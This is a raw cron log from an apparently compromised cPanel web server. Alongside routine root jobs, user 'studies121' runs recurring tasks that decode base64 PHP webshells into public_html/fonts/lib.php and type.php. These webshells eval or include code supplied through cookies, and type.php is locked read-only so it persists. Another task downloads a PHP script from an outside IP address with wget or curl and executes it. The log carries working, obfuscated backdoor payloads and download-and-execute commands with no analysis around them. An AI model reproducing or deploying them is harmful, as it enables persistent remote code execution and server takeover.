Sep 10 13:38:01 ip-184-168-122-23 CROND[16604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:38:01 ip-184-168-122-23 CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:38:01 ip-184-168-122-23 CROND[16606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:38:01 ip-184-168-122-23 CROND[16605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:39:01 ip-184-168-122-23 CROND[17414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:39:01 ip-184-168-122-23 CROND[17416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:39:01 ip-184-168-122-23 CROND[17417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:39:01 ip-184-168-122-23 CROND[17419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:39:01 ip-184-168-122-23 CROND[17418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 13:40:01 ip-184-168-122-23 CROND[17535]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:40:01 ip-184-168-122-23 CROND[17538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:40:01 ip-184-168-122-23 CROND[17540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:40:01 ip-184-168-122-23 CROND[17542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:40:01 ip-184-168-122-23 CROND[17541]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:40:01 ip-184-168-122-23 CROND[17543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:40:01 ip-184-168-122-23 CROND[17547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:40:01 ip-184-168-122-23 CROND[17546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:41:01 ip-184-168-122-23 CROND[17645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:41:01 ip-184-168-122-23 CROND[17646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:41:01 ip-184-168-122-23 CROND[17650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:41:01 ip-184-168-122-23 CROND[17649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:42:01 ip-184-168-122-23 CROND[17732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:42:01 ip-184-168-122-23 CROND[17735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:42:01 ip-184-168-122-23 CROND[17736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:42:01 ip-184-168-122-23 CROND[17734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:42:01 ip-184-168-122-23 CROND[17737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:43:01 ip-184-168-122-23 CROND[17842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:43:01 ip-184-168-122-23 CROND[17844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:43:01 ip-184-168-122-23 CROND[17843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:43:01 ip-184-168-122-23 CROND[17845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:44:01 ip-184-168-122-23 CROND[18034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:44:01 ip-184-168-122-23 CROND[18035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:44:01 ip-184-168-122-23 CROND[18036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:44:01 ip-184-168-122-23 CROND[18038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:44:01 ip-184-168-122-23 CROND[18037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:45:02 ip-184-168-122-23 CROND[18142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:45:02 ip-184-168-122-23 CROND[18144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:45:02 ip-184-168-122-23 CROND[18143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:45:02 ip-184-168-122-23 CROND[18145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:45:02 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:45:02 ip-184-168-122-23 CROND[18147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:46:01 ip-184-168-122-23 CROND[18268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:46:01 ip-184-168-122-23 CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 13:46:01 ip-184-168-122-23 CROND[18270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:46:01 ip-184-168-122-23 CROND[18272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:46:01 ip-184-168-122-23 CROND[18273]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:46:01 ip-184-168-122-23 CROND[18274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:46:01 ip-184-168-122-23 CROND[18275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:47:01 ip-184-168-122-23 CROND[18397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:47:01 ip-184-168-122-23 CROND[18396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:47:01 ip-184-168-122-23 CROND[18395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:47:01 ip-184-168-122-23 CROND[18398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:48:01 ip-184-168-122-23 CROND[18497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:48:01 ip-184-168-122-23 CROND[18499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:48:01 ip-184-168-122-23 CROND[18500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:48:01 ip-184-168-122-23 CROND[18501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:48:01 ip-184-168-122-23 CROND[18502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:49:01 ip-184-168-122-23 CROND[18622]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 13:49:01 ip-184-168-122-23 CROND[18623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:49:01 ip-184-168-122-23 CROND[18625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:49:01 ip-184-168-122-23 CROND[18626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:49:01 ip-184-168-122-23 CROND[18624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:50:01 ip-184-168-122-23 CROND[18826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
